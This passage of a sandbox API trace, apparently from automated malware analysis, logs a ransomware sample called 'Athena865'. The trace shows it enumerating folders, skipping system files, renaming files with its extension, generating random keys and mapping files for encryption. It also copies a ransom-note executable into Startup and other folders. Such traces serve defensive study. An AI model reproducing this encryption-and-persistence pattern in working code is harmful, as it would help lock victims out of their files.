(lpString1="Internet Explorer.lnk", lpString2="bootmgr") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="temp") returned -1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="pagefile.sys") returned -1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="boot") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="ids.txt") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="ntuser.dat") returned -1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="perflogs") returned -1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="MSBuild") returned -1 [0103.699] lstrlenW (lpString="Internet Explorer.lnk") returned 21 [0103.699] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Internet Explorer.lnk" | out: lpString1="Internet Explorer.lnk") returned="Internet Explorer.lnk" [0103.699] lstrlenW (lpString="Internet Explorer.lnk") returned 21 [0103.700] lstrlenW (lpString="Athena865") returned 9 [0103.700] lstrcmpiW (lpString1="lorer.lnk", lpString2="Athena865") returned 1 [0103.700] lstrlenW (lpString=".dll") returned 4 [0103.700] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".dll") returned 1 [0103.700] lstrlenW (lpString=".lnk") returned 4 [0103.700] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".lnk") returned 1 [0103.700] lstrlenW (lpString=".ini") returned 4 [0103.700] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".ini") returned 1 [0103.700] lstrlenW (lpString=".sys") returned 4 [0103.700] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".sys") returned 1 [0103.700] lstrlenW (lpString="Internet Explorer.lnk") returned 21 [0103.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer.lnk.Athena865") returned 85 [0103.700] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\internet explorer.lnk"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\internet explorer.lnk.athena865"), dwFlags=0x1) returned 1 [0103.701] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\internet explorer.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.701] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1449) returned 1 [0103.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0103.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.701] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.702] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.702] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.702] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x154 [0103.704] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0103.705] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.705] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.705] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.706] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.706] CloseHandle (hObject=0x154) returned 1 [0103.706] CloseHandle (hObject=0x17c) returned 1 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.706] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2=".") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="..") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="windows") returned -1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="bootmgr") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="temp") returned -1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="pagefile.sys") returned -1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="boot") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="ids.txt") returned 1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="ntuser.dat") returned -1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="perflogs") returned -1 [0103.707] lstrcmpiW (lpString1="Maintenance", lpString2="MSBuild") returned -1 [0103.707] lstrlenW (lpString="Maintenance") returned 11 [0103.707] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Maintenance" | out: lpString1="Maintenance") returned="Maintenance" [0103.707] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Maintenance", dwFileAttributes=0x10) returned 1 [0103.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc48 [0103.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x515208 [0103.707] lstrcatW (in: lpString1="Maintenance", lpString2="\\" | out: lpString1="Maintenance\\") returned="Maintenance\\" [0103.707] lstrcatW (in: lpString1="Maintenance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Maintenance\\HOW TO BACK YOUR FILES.exe") returned="Maintenance\\HOW TO BACK YOUR FILES.exe" [0103.707] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Maintenance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\maintenance\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.710] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2=".") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="..") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="windows") returned -1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="bootmgr") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="temp") returned -1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="pagefile.sys") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="boot") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="ids.txt") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="ntuser.dat") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="perflogs") returned 1 [0103.710] lstrcmpiW (lpString1="Startup", lpString2="MSBuild") returned 1 [0103.710] lstrlenW (lpString="Startup") returned 7 [0103.710] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Startup" | out: lpString1="Startup") returned="Startup" [0103.710] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Startup", dwFileAttributes=0x10) returned 1 [0103.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cbd0 [0103.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519998 [0103.710] lstrcatW (in: lpString1="Startup", lpString2="\\" | out: lpString1="Startup\\") returned="Startup\\" [0103.710] lstrcatW (in: lpString1="Startup\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Startup\\HOW TO BACK YOUR FILES.exe") returned="Startup\\HOW TO BACK YOUR FILES.exe" [0103.710] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Startup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\startup\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.713] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 0 [0103.713] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.713] ReleaseMutex (hMutex=0xec) returned 1 [0103.713] CloseHandle (hObject=0xec) returned 1 [0103.713] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\AppData\\Local" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData\\Local") returned="C:\\Documents and Settings\\Default User\\AppData\\Local" [0103.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0103.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c278 | out: hHeap=0x4f0000) returned 1 [0103.713] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\AppData\\Local") returned 52 [0103.713] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E1BBB3A6305671E20C53BC127CD4184B") returned 0xec [0103.713] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.713] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\AppData\\Local" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData\\Local") returned="C:\\Documents and Settings\\Default User\\AppData\\Local" [0103.713] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.713] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.714] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.714] GetLastError () returned 0x0 [0103.714] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.714] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.714] CloseHandle (hObject=0xf4) returned 1 [0103.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.714] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.714] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.714] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.714] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.714] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.714] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.715] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.715] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.715] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.715] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.715] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0103.715] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0103.715] lstrlenW (lpString="Application Data") returned 16 [0103.715] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0103.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c278 [0103.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x534448 [0103.715] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0103.715] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0103.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.716] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0103.716] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.716] lstrcmpiW (lpString1="History", lpString2=".") returned 1 [0103.716] lstrcmpiW (lpString1="History", lpString2="..") returned 1 [0103.716] lstrcmpiW (lpString1="History", lpString2="windows") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1 [0103.716] lstrcmpiW (lpString1="History", lpString2="temp") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="boot") returned 1 [0103.716] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1 [0103.716] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1 [0103.716] lstrlenW (lpString="History") returned 7 [0103.716] lstrcpyW (in: lpString1=0x241e8b2, lpString2="History" | out: lpString1="History") returned="History" [0103.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547570 [0103.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519888 [0103.716] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0103.716] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0103.717] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.717] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.717] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.717] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbdaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2=".") returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="..") returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="windows") returned -1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="bootmgr") returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="temp") returned -1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="pagefile.sys") returned -1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="boot") returned 1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="ids.txt") returned -1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="ntuser.dat") returned -1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="perflogs") returned -1 [0103.717] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="MSBuild") returned -1 [0103.718] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0103.718] lstrcpyW (in: lpString1=0x241e8b2, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0103.718] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0103.718] lstrlenW (lpString="Athena865") returned 9 [0103.718] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.718] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0103.718] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0103.718] lstrlenW (lpString="Microsoft") returned 9 [0103.718] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547588 [0103.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519800 [0103.718] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.718] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.719] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, 